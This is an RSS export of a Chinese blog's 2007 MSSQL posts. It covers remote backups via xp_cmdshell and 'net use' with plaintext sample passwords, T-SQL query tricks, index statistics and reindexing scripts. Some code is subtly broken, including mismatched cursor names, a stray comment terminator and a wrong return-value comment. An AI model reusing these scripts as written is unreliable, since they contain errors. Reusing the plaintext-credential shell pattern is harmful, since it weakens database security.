<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-&lt;font color="red"&gt;JRen&lt;/font&gt;&lt;font color="lightgreen"&gt;大鹏一曰同风起，扶摇直上九万里&lt;/font&gt;-随笔分类-MSSQL</title><link>http://www.blogjava.net/liaojiyong/category/11449.html</link><description /><language>zh-cn</language><lastBuildDate>Sat, 27 Oct 2007 17:54:22 GMT</lastBuildDate><pubDate>Sat, 27 Oct 2007 17:54:22 GMT</pubDate><ttl>60</ttl><item><title>ms sql 远程备份 job(转)</title><link>http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 26 Oct 2007 00:19:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/155998.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/155998.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/155998.html</trackback:ping><description><![CDATA[<p>mssql数据库远程备份的job <br />
<br />
<br />
/*在远程机器操作系统的计算机管理里建立一个用户名为dbbackup的用户，密码为1234，同时在那台机器的非系统盘里建一个名为backup的共享文件夹，为了安全另外设置这个文件夹只有这个dbbackup用户可以访问。*/ <br />
<br />
declare @sql varchar(500)<br />
<br />
<br />
select @sql='\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),getdate(),112) +<br />
<br />
<br />
substring(convert(varchar(10),getdate(),108),1,2) +'.bak'<br />
<br />
<br />
exec master..xp_cmdshell 'net use \\10.2.0.12\backup 1234 /user:remotehost\dbbackup'<br />
<br />
<br />
backup database dbname to disk=@sql --备份数据库，这里的10.2.0.12为远程机器的ip，remotehost为远程机器的机器名，dbname为本地sqlserver服务器要备份的数据库<br />
<br />
<br />
go<br />
<br />
<br />
declare @sql varchar(500)<br />
<br />
<br />
select @sql='del '+'\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),dateadd(day,-7,getdate()),112) +<br />
<br />
<br />
substring(convert(varchar(10),dateadd(day,-7,getdate()),108),1,2) +'.bak'<br />
<br />
<br />
exec master..xp_cmdshell @sql --删除7天前的备份，也就是只保留7个最新备份<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
最近我在为公司的框架程序（以数据应用为导向的应用体系）做数据管理模块，这个模块的需求比较简单：备份、恢复和清理日志。我公司的软件基本上以C/S为基本架构，所以数据管理模块中两个主要的功能&#8216;备份与恢复&#8217;都可能会在Client端操作，备份与恢复&#8217;的文件也都有可能存储在client端，因而这个数据管理模块就必须能够实现在远程备份与恢复数据库。 文章的前提阐述完了，就该说说如何具体实现吧。其实都很简单，我想写个远程备份的测试实例<br />
给大家看,就能够很清楚的描述吧！<br />
实例说明：<br />
环境：win2k sqlserver 2K 查询分析器<br />
SQLSERVER服务实例名称:mainserver<br />
需要备份的数据库名称: msdb <br />
本地机器名称（Client端）：david<br />
本地用户:zf 密码：123<br />
本地域名：domain<br />
本地提供备份需求的文件夹:e:\test 第一步: 建立共享文件夹<br />
在程序代码中调用（或者CMD窗口） net share test=e:\test<br />
或者用NetShareAdd这个API<br />
简要说明：<br />
net share : 是WINDOWS内部的网络命令。<br />
作用：建立本地的共享资源，显示当前计算机的共享资源信息。 <span class="Cms791">字串8</span> <br />
语法：参见 net share /? <br />
第二步: 建立共享信用关系<br />
master..xp_cmdshell 'net use \\david\test 123 /user:domain\zf'<br />
简要说明：<br />
1：xp_cmdshell ：是SQLSERVER的扩展存储过程。<br />
作用，以操作系统命令行解释器的方式执行给定的命令字符串，<br />
并以文本行方式返回任何输出。<br />
语法：参见SQLSERVER联机帮助<br />
2:net use : 是WINDOWS内部的网络命令。<br />
作用，将计算机与共享资源连接或断开，或者显示关于计算机<br />
连接的信息。该命令还控制持久网络连接。<br />
语法：参见 net use /? 第三步:备份数据库<br />
backup database msdb to disk='\\david\test\msdb.bak'<br />
这个不需要说明吧，语法参见SQLSERVER联机帮助 第四步: 删除共享文件夹<br />
在程序代码中调用（或者CMD窗口） net share test /delete<br />
或者用NetShareDel这个API<br />
结果:<br />
已处理 1376 页，这些页属于数据库 'msdb' 的文件 'MSDBData'（位于文件 1 上）。 </p>
<p class="Cms791">字串1</p>
<p><br />
已处理 1 页，这些页属于数据库 'msdb' 的文件 'MSDBLog'（位于文件 1 上）。<br />
BACKUP DATABASE 操作成功地处理了 1377 页，花费了 3.653 秒（3.086 MB/秒）。 这样mainserver服务器上的msdb就备份到了david机器的E:\test\msdb.bak文件了，使用起来很简单吧？恢复数据库操作也是一样，只要将第三个步骤的语句改为'restore database msdb from disk='\\david\test\msdb.bak'就可以啦。。你看完了也可以试试呀？！（最简单的测试工具查询分析器 CMD窗口）备注：xp_cmdshell 这个扩展存储过程只能SA级别的用户调用，而且是SQLSERVER的安全隐患之一，许多DBA都喜欢将其删除或者禁用，所以开发人员使用时要倍加小心哦。<br />
文章中的例子只是简要的说明了应如何利用扩展存储过程实现远程备份与恢复，没有涉及安全以及其他方面的考虑，希望读者在代码中自行完善。 <br />
<br />
<br />
go</p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/155998.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-10-26 08:19 <a href="http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server SQL语句调优技巧（转）</title><link>http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Thu, 12 Apr 2007 09:25:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/110223.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/110223.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/110223.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;通过例子和解析计划，本文展示了在Microsoft&nbsp;SQL&nbsp;Server上提高查询效率有效的一些技巧。在编程中有很多小提示和技巧。了解这些技巧可以扩展你在性能优化上的可用机能。在这部分里我们所有的例子都选择使用Microsoft&nbsp;SHOWPLAN_ALL输出，因为它更紧凑并且展示典型的信息。（Sybase的查询计划基本与此相同，可能包含其它...&nbsp;&nbsp;<a href='http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html'>阅读全文</a><img src ="http://www.blogjava.net/liaojiyong/aggbug/110223.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-04-12 17:25 <a href="http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>几个有意思的SQL查询</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 23 Mar 2007 08:05:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/105863.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/105863.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/105863.html</trackback:ping><description><![CDATA[<p><font color=#ff0000>/********************************************<br>DROP TABLE tblMaster<br>DROP TABLE tblCopy<br>SELECT * FROM tblMaster<br>SELECT * FROM tblCopy<br>DELETE FROM tblMaster <br>DELETE FROM tblCopy <br>********************************************/<br>--Create Table<br>--创建表</font> <br>CREATE TABLE tblMaster(<br>&nbsp;id int identity(1,1) not null ,<br>&nbsp;details varchar(8000) null<br>)</p>
<p><font color=#ff0000>--Insert Initial Data<br>--插入初始数据</font> <br>INSERT INTO&nbsp; tblMaster(details)<br>&nbsp;SELECT N'A'<br>UNION ALL<br>&nbsp;SELECT N'B'<br>UNION ALL<br>&nbsp;SELECT N'C'<br>UNION ALL<br>&nbsp;SELECT N'测'<br>UNION ALL<br>&nbsp;SELECT N'试'<br>UNION ALL<br>&nbsp;SELECT N'数'<br>UNION ALL<br>&nbsp;SELECT N'据'<br>UNION ALL<br>&nbsp;SELECT N'A'<br>UNION ALL<br>&nbsp;SELECT N'B'<br>UNION ALL<br>&nbsp;SELECT N'测'<br>UNION ALL<br>&nbsp;SELECT N'试'<br>UNION ALL<br>&nbsp;SELECT N'数'<br>UNION ALL<br>&nbsp;SELECT N'据'<br><br><font color=#ff0000>--Copy Table,Exclude Data<br>--复制表，不拷贝数据</font><br>SELECT <br>&nbsp;TOP 0<br>&nbsp;*<br>INTO<br>&nbsp;tblCopy&nbsp;<br>FROM <br>&nbsp;tblMaster<br>WHERE<br>&nbsp;1&lt;&gt;1</p>
<p><font color=#ff0000>--Copy data<br>--拷贝数据</font> <br>INSERT INTO<br>&nbsp;tblCopy(details)<br>SELECT <br>&nbsp;details<br>FROM<br>&nbsp;tblMaster </p>
<p><font color=#ff0000>--Caculate Distance Between Two Days<br>--计算两天之间的时间间隔<br></font>SELECT datediff(day,'2006-12-12','2007-12-12')</p>
<p><font color=#ff0000>--Search From 2th Record and 6th Record<br>--查询从第二条记录到第六条记录</font> <br>SELECT<br>&nbsp; * <br>FROM<br>&nbsp; (<br>&nbsp;&nbsp;SELECT <br>&nbsp;&nbsp;&nbsp;top 5 *<br>&nbsp;&nbsp; FROM&nbsp; (<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;top 6 id,details<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM tblMaster <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER BY <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;id&nbsp; asc<br>&nbsp;&nbsp;&nbsp;&nbsp;) a<br>&nbsp;&nbsp;ORDER BY <br>&nbsp;&nbsp;&nbsp;id desc<br>&nbsp;) T <br>ORDER BY <br>&nbsp;id asc</p>
<p><font color=#ff0000>--Choose some Records Random<br>--随机选取几条数据</font> <br>SELECT&nbsp;<br>&nbsp;top&nbsp;3&nbsp;*<br>&nbsp;FROM <br>&nbsp;tblMaster <br>ORDER BY&nbsp; <br>&nbsp;newID()</p>
<p><font color=#ff0000>--Delete Duplicated Data<br>--删除重复数据<br></font>DELETE FROM<br>&nbsp;tblCopy<br>Where&nbsp;<br>&nbsp;id not&nbsp; in(<br>&nbsp;&nbsp;SELECT<br>&nbsp;&nbsp;&nbsp; min(id)<br>&nbsp;&nbsp;FROM<br>&nbsp;&nbsp;&nbsp;tblCopy<br>&nbsp;&nbsp;Group by<br>&nbsp;&nbsp;&nbsp;details<br>&nbsp;) <br><br><font color=#ff0000>--if the value of tblMaster.details ==&nbsp; null then the following clauses have different values <br>--如果details列有null值,那么如下两条语句得到的返回值不等<br></font>SELECT<br>&nbsp;count(*) <br>FROM<br>&nbsp;tblMaster</p>
<p>SELECT <br>&nbsp;count(details)<br>FROM<br>&nbsp;tblMaster<br><br><font style="BACKGROUND-COLOR: #ff0000" color=#ff0000><font style="BACKGROUND-COLOR: #ffffff">--Password Encrypt return 1:equel;return 0:not equel<br>--密码加密 返回1:相等;返回2:不相等</font><font style="BACKGROUND-COLOR: #ffffff"></font><br></font>SELECT&nbsp; pwdcompare('123',pwdencrypt('123'),0)</p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/105863.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-23 16:05 <a href="http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用索引和统计特性来提高数据库的查询性能（转）</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 23 Mar 2007 03:31:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/105782.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/105782.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/105782.html</trackback:ping><description><![CDATA[
		<span class="hui">
				<span class="hui">作者： <font color="blue">TechRepublic.com</font></span>
				<br />
				<span class="hui">Friday, March 5 2004 9:51 AM</span>
				<!-- BEGIN:STORY -->
				<table>
						<tbody>
								<tr>
										<td class="text1">
												<p>
														<b>特别说明：</b>
														<br />在微软的SQL服务器系统中，对数据库查询功能进行适当的优化需要懂得一些基本的查询索引和性能统计方面的知识。熟悉该系统的优化工作是如何实现的将有助于提高决策的正确性。 </p>
												<p>随着你对微软的SQL服务器数据库实现的逐渐熟悉，性能优化的需求也将进一步增加。建立一个真正实现最优查询功能的数据库环境的第一步是要懂得SQL服务器系统的优化器是如何工作的。 </p>
												<p>
														<span class="mdeck">
																<b>索引</b>
														</span>
														<br />虽然对于特定的查询来说，进行查询规划和性能优化可能只需要少量的成本估算与比较，也可以没有成本估算与比较，但是大多数的查询将从实现完全优化的工作中受益。提高查询性能的最有效的方法之一就是创建一个高效率的索引。一个构架良好的索引在执行查询工作的时候可以避免出现扫描整个数据表的情况。 </p>
												<p>在创建索引的时候，SQL服务器系统将自动度量和存储那些与索引列相关的分布状态值相对应的统计信息。这些统计信息常常被优化器用来评估查询的优化策略是否合理。 </p>
												<p>有两种类型的索引：clustered索引和non-clustered索引，根据数据集合的不同，每种类型的索引都有各自独特的优点。 </p>
												<p>clustered索引要求数据表中数据按照顺序存储。因为数据已经排序，所以对于查找一定范围的索引值时clustered 索引是非常有效的。对于查找具有唯一索引值的行信息来说，这种类型的索引性能也优于其他类型的索引。 </p>
												<p>non-clustered索引和教科书中的索引非常相似，索引在一个位置而其数据值却在另外一个位置。对于一个数据值的查询搜索来说，首先搜索non-clustered的索引，找到数据值在数据表中的位置，然后直接从这个位置得到数据。non-clustered 索引对于精确匹配查询是非常有用的。 </p>
												<p>
														<span class="mdeck">
																<b>统计学</b>
														</span>
														<br />作为一种常用的规则，和大多数商业使用需求一样，索引的数量应该尽可能少，以减少与每个查询相关的处理过程。如果要分析和优化查询的性能，首先应该度量和收集数据的统计特性。 </p>
												<p>SQL服务器系统能够维护索引值的数据统计特性。如果对其进行适当的配置，对于非索引值也能够进行统计度量。 </p>
												<p>对于性能优化，数据库管理员应该懂得几个基本的统计概念，这些概念的定义如下： </p>
												<p>
												</p>
										</td>
								</tr>
						</tbody>
						<li>基数：度量在数据集中可以存在多少个唯一值。<br /></li>
						<li>密度：度量在数据集中唯一值的个数。密度通过如下方法得到：给定键值的行数除以数据表的总行数。优化器将忽略高密度的索引。<br /></li>
						<li>选择率：度量对于一个特定的查询将返回查询结果的行数。选择率通过如下方法得到：查询关键字的个数除以查询得到的行数。要计算查询规划的相对成本，优化器需要一个有效的选择率来度量。 
<p>随着列中数据的变化，索引和列统计信息就变得没有用处了，这样将导致优化器在决定如何处理查询时达不到最优性能。因此，根据数据表中数据的变化，SQL服务器系统周期的自动更新这些统计信息。通过对这些数据的采样，这种统计信息的自动更新将使得成本降到最低，而且不需要对全部数据进行分析。 </p><p><span class="mdeck"><b>最佳性能</b></span><br />在一个复杂的数据库表中设计并指定索引是一件非常棘手的任务。幸运的是，SQL服务器系统有一个内置的调节向导来帮助你建立最优的统计和索引集合。要提高数据库的查询性能，可以通过运行向导来提供一个基于脚本的建议列表。 </p><p>对于SQL服务器查询优化器如何工作这一部分懂得越多，你就会知道对于特定的情形为什么只能用向导的建议来实现。但是，对于动态系统来说，最佳的数据库性能分析部分将需要进行周期性地更新。理解查询索引性能中的每个统计度量的真正含义将有助于你在管理决策方面有一个良好的知识基础。</p></li>
				</table>
		</span>
		<br />
		<br />
		<br />
		<br />
		<font size="2">
				<strong>更新索引统计<br />分布页面并不是每次一个记录更新时都要进行更新.在大型数据库中,这会导致巨大的性能损失.因此,当用户初始创建一个空表时,分布页面仍是空的.它仅在发生如下情况时才被更新:<br />1.用户在一个已存在数据表上创建一个索引.<br />2.用户进行了update satatic语句<br />从系统管理员角度来看,用户应该创建一个工具来自动地更新分布页面.自动更新应该至少每周一次,如果数据量每天增加10%以上则应每天一次.<br />因为不可能每天都添加索引,用户需要使用update statistics语句更新分布页面,用以优化SQLserver.</strong>
		</font>
		<p>
		</p>
		<p>
				<b>UPDATE STATISTICS</b>
				<br />在指定的表或索引视图中，对一个或多个统计组（集合）有关键值分发的信息进行更新。若要基于列生成统计，请参见 CREATE STATISTICS。 </p>
		<p>语法<br />UPDATE STATISTICS table | view<br />    [ <br />        index<br />        | ( statistics_name [ ,...n ] )<br />    ] <br />    [    WITH<br />        [ <br />            [ FULLSCAN ]<br />            | SAMPLE number { PERCENT | ROWS } ]<br />            | RESAMPLE<br />        ] <br />        [ [ , ] [ ALL | COLUMNS | INDEX ]<br />        [ [ , ] NORECOMPUTE ] <br />    ] </p>
		<p>参数<br />table | view</p>
		<p>要更新统计的表或索引视图的名称。表名和视图名必须符合标识符的规则。有关更多信息，请参见使用标识符。由于索引名在每个数据库中不唯一，所以必须指定 table 或 view。可选择指定数据库、表或视图所有者。只有在 Microsoft? SQL Server? 2000 企业版中才支持索引视图。</p>
		<p>index</p>
		<p>要更新统计的索引。索引名必须符合标识符的规则。如果未指定 index，则更新指定表或索引视图中的所有索引的分发统计。若要查看索引名和描述的列表，请带表名或视图名执行 sp_helpindex。</p>
		<p>statistics_name</p>
		<p>要更新的统计组（集合）的名称。统计名称必须符合标识符规则。有关生成统计组的更多信息，请参见 CREATE STATISTICS。</p>
		<p>n</p>
		<p>是表示可以指定多个 statistic_name 组的占位符。</p>
		<p>FULLSCAN</p>
		<p>指定应读取 table 或 view 中的所有行以收集统计。FULLSCAN 提供与 SAMPLE 100 PERCENT 相同的行为。FULLSCAN 不能与 SAMPLE 选项一起使用。</p>
		<p>SAMPLE number { PERCENT | ROWS }</p>
		<p>当为较大的表或视图收集统计时，指定要采样的表或索引视图的百分比或行数。number 只允许使用整数，无论它是 PERCENT 还是 ROWS。若要对较大的表或视图使用默认采样行为，请将 SAMPLE number 和 PERCENT 或 ROWS 一起使用。Microsoft SQL Server 将确保值的采样数不低于某一数目，以保证统计有用。如果 PERCENT、ROWS 或 number 选项导致要采样的行数过小，SQL Server 则自动根据表或视图中的现有行数改正采样。</p>
		<p>
		</p>
		<p>说明  默认行为是在目标表或索引视图上进行采样扫描。SQL Server 自动计算所需的样本大小。</p>
		<p>
				<br />RESAMPLE</p>
		<p>指定使用从所有现有统计（包括索引）继承的采样速率来收集统计。如果采样速率导致要采样的行过少，SQL Server 则自动根据表或视图中的现有行数改正采样。</p>
		<p>ALL | COLUMNS | INDEX</p>
		<p>指定 UPDATE STATISTICS 语句是否影响列统计、索引统计或所有现有统计。如果未指定选项，则 UPDATE STATISTICS 语句影响所有的统计。每个 UPDATE STATISTICS 语句只能指定一种类型（ALL、COLUMNS 或 INDEX）。 </p>
		<p>NORECOMPUTE</p>
		<p>指定过期统计不自动重新计算。统计过期与否取决于在索引列上进行的 INSERT、UPDATE 和 DELETE 操作的数量。指定该选项时，将导致 SQL Server 禁用自动统计重建功能。若要还原自动统计重新计算，请重新执行 UPDATE STATISTICS（不要 NORECOMPUTE 选项），或者执行 sp_autostats。</p>
		<p>
		</p>
		<p>重要  禁用自动统计重新计算会导致 SQL Server 查询优化器对于涉及指定表的查询选择非最佳的策略。</p>
		<p>
				<br />注释<br />SQL Server 保留每个索引中关于键值分发的统计，并且使用这些统计来决定查询处理中使用哪个（或哪些）索引。用户可以通过使用 CREATE STATISTICS 语句生成基于非索引列的统计。查询优化依赖于分发步骤的准确性： </p>
		<p>如果索引中的键值有显著变化，请对此索引重新运行 UPDATE STATISTICS。</p>
		<p>
				<br />如果索引列中添加、更改或删除大量数据（即如果键值分发更改），或者用 TRUNCATE TABLE 语句将表截断然后重新填充，请使用 UPDATE STATISTICS。 <br />若要查看统计最近一次更新的时间，请使用 STATS_DATE 函数。</p>
		<p>只有当能够在计算列上创建索引时，才可以在包含这些计算列的表上创建或更新统计。有关在计算列上创建索引的要求和限制的更多信息，请参见 CREATE INDEX。</p>
		<p>权限<br />UPDATE STATISTICS 权限默认授予表或视图的所有者，并且该权限不可转让。</p>
		<p>示例<br />A. 更新单个表的所有统计<br />本示例更新表 authors 上的所有索引分发统计。</p>
		<p>UPDATE STATISTICS authors</p>
		<p>B. 仅更新单一索引的统计<br />本示例仅更新表 authors 的索引 au_id_ind 的分发信息。 </p>
		<p>UPDATE STATISTICS authors au_id_ind</p>
		<p>C. 使用 50% 采样更新特定统计组（集合）的统计<br />本示例首先创建表 authors 中 au_lname 列和 au_fname 列的统计组，然后对其进行更新。</p>
		<p>CREATE STATISTICS anames <br />   ON authors (au_lname, au_fname)<br />   WITH SAMPLE 50 PERCENT<br />GO<br />-- Time passes. The UPDATE STATISTICS statement is then executed.<br />UPDATE STATISTICS authors(anames) <br />   WITH SAMPLE 50 PERCENT<br />GO</p>
		<p>D. 使用 FULLSCAN 和 NORECOMPUTE 更新特定统计组（集合）的统计<br />本示例更新表 authors 中的 anames 统计组（集合），强制对表 authors 中的所有行进行完全扫描，并且关闭该统计组（集合）的自动统计更新。</p>
		<p>UPDATE STATISTICS authors(anames)<br />   WITH FULLSCAN, NORECOMPUTE</p>
		<p>
				<b>sp_updatestats对当前数据库中所有用户定义的表运行 UPDATE STATISTICS</b>。</p>
		<p>语法<br />sp_updatestats [[@resample =] ''resample'']</p>
		<p>返回代码值<br />0（成功）或 1（失败）</p>
		<p>参数<br />[@resample =] ''resample''</p>
		<p>指定 sp_updatestats 将使用 UPDATE STATISTICS 命令的 RESAMPLE 选项。新统计表将继承旧统计表的采样比率。如果未指定 ''resample''，则 sp_updatestats 使用默认采样更新统计表。该参数的数据类型为 varchar(8)，默认值为 ''NO''。</p>
		<p>注释<br />sp_updatestats 会显示表示其进度的消息。完成更新之后，该存储过程将报告已为所有的表更新了统计信息。 </p>
		<p>权限<br />只有 DBO 和 sysadmin 固定服务器角色的成员才能执行该过程。</p>
		<p>示例<br />下例为数据库 pubs 中的表更新统计信息。</p>
		<p>USE pubs<br />EXEC sp_updatestats <br /><br /><br />Sqlserver7 编程技术内幕提供的方法. </p>
		<p>
		</p>
		<p>drop proc pr_updateindex<br />create proc pr_updateindex<br />as<br /> set nocount on <br /> declare get_index_curs cursor <br />  for select name--tablename<br />  from sysobjects --systemtable<br /> where type=''u'' -usertable</p>
		<p> declare @holdtable varchar(30)<br /> declare @message varchar(40)<br /> declare @dynamic varchar(51)</p>
		<p> open getindex_curs<br /> fetch next from getindex_curs into @holdtable<br /> while @@fetch_status=0<br /> begin<br />   select @dynamic=''update statistics ''+@holdtable<br />   select @message=''updating''+@holdtable<br />   exec(@dynamic)<br />  print @message<br />  fetch next from getindex_curs into @holdtable<br />end<br />  close getindex_curs<br /><br /><br /><br /><br /></p>
		<p>Copyright (C) 2003 Cameron Michelis copying and redistribution of this file is permitted provided <br />this notice and the above comments are preserved.<br />*/</p>
		<p>Set quoted_identifier off<br />use master<br />DECLARE @fillfactor varchar(2)<br />DECLARE @tablename varchar(30)<br />DECLARE @tablename_header varchar(75)<br />DECLARE @dataname varchar(30)<br />DECLARE @dataname_header varchar(75)<br />DECLARE datanames_cursor CURSOR FOR SELECT name FROM sysdatabases<br />        WHERE name not in ('master', 'pubs', 'tempdb', 'model', 'northwind')<br />/* Variable Initialization */<br /> select @fillfactor = "0" -- Set Fill factor here<br />     -- Note "0" will use original fillfactor.<br />/* End Variable Initialization */<br />OPEN datanames_cursor</p>
		<p>  FETCH NEXT FROM datanames_cursor INTO @dataname</p>
		<p>  WHILE (@@fetch_status &lt;&gt; -1)<br />    BEGIN<br />      IF (@@fetch_status = -2)<br />        BEGIN<br />  FETCH NEXT FROM datanames_cursor INTO @dataname<br />           CONTINUE<br />        END<br /> SELECT @dataname_header = "Database " + RTRIM(UPPER(@dataname))<br />       PRINT " "<br /> PRINT @dataname_header<br />       PRINT " "<br /> EXEC ("USE " + @dataname + " DECLARE tnames_cursor CURSOR FOR SELECT name from sysobjects where type = 'U'")<br /> Select @dataname_header = RTRIM(UPPER(@dataname))<br /> Exec ("Use " + @dataname) <br /> OPEN tnames_cursor<br />  FETCH NEXT FROM tnames_cursor INTO @tablename<br />  WHILE (@@fetch_status &lt;&gt; -1)<br />          BEGIN<br />             IF (@@fetch_status = -2)            <br />    BEGIN<br />                  FETCH NEXT FROM tnames_cursor INTO @tablename<br />                  CONTINUE<br />               END<br />        SELECT @tablename_header = "  Updating " + RTRIM(UPPER(@tablename))<br />    PRINT ""<br />             PRINT @tablename_header<br />    EXEC ("USE " + @dataname + " DBCC DBREINDEX (" + @tablename + "," + "''" + "," + @fillfactor + ")")<br />    EXEC ("USE " + @dataname + " UPDATE STATISTICS " + @tablename)<br />    FETCH NEXT FROM tnames_cursor INTO @tablename<br />          END<br /> DEALLOCATE tnames_cursor<br />       FETCH NEXT FROM datanames_cursor INTO @dataname<br />      END<br />DEALLOCATE datanames_cursor<br />PRINT ""<br />PRINT " "<br />PRINT "Indexing complete for All User Databases"<br /><br /></p>
		<pre>SET QUOTED_IDENTIFIER OFF

/* Start with master DB */
USE master

/* Create Variables */
DECLARE 	@DBName 	CHAR(64)
DECLARE 	@TableName 	CHAR(64)
DECLARE		@FQTableName	CHAR(64)
DECLARE		@TempVar	CHAR(256)

/* Create DB List */
DECLARE 	DBCursor 	CURSOR FOR
	SELECT		name
		FROM	master..sysdatabases

OPEN		DBCursor

FETCH NEXT
	FROM	DBCursor
	INTO	@DBName

/* Create Database Loop */
WHILE @@FETCH_STATUS = 0
	BEGIN
		/* Retrieve Table List */
		PRINT 'Retrieving Table List for DB ' + @DBName
		
		EXEC ('SELECT name AS TableName INTO ##TableNames FROM [' + @DBName + ']..sysobjects WHERE type = ''U''')		

		/* Open Table List */
		DECLARE		TableCursor 	CURSOR FOR
			SELECT		TableName
				FROM	##TableNames

		OPEN TableCursor
		
		FETCH NEXT
			FROM	TableCursor
			INTO	@TableName
		
		/* Create Table Loop */
		WHILE @@FETCH_STATUS = 0
			BEGIN
				/* Add DB Name to Table Name */
				SELECT @FQTableName = QUOTENAME(RTRIM(@DBName)) + '..' + QUOTENAME(RTRIM(@TableName))
				SELECT @TableName = RTRIM(@DBName) + '..' + RTRIM(@TableName)
				
				/* ReIndex Table */
				PRINT 'ReIndexing Table ' + @TableName
				DBCC DBREINDEX(@TableName)
				
				/* Update Statics on Table */
				PRINT 'Updating Statistics on Table ' + @TableName
				EXEC ('UPDATE STATISTICS ' + @FQTableName)
				
				/* Get Next Table Name */
				FETCH NEXT
					FROM TableCursor
					INTO @TableName
			END
		
		/* Close Table Cursor */
		CLOSE		TableCursor
		DEALLOCATE	TableCursor

		/* Remove Tempory Table */
		DROP TABLE ##TableNames
		
		/* Preform DB Checks */
		PRINT 'Preforming DB Checks on ' + @DBName
		DBCC CHECKDB (@DBName)

		/* Get Next Table Name */
		FETCH NEXT
			FROM DBCursor
			INTO @DBName
	END

/* Close DB Curosor */
CLOSE		DBCursor
DEALLOCATE	DBCursor

/* Finished */
					

</pre>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/105782.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-23 11:31 <a href="http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>删除数据库中重复记录的SQL语句（转）</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 20 Mar 2007 09:07:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/105039.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/105039.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/105039.html</trackback:ping><description><![CDATA[
		<div class="cnt">
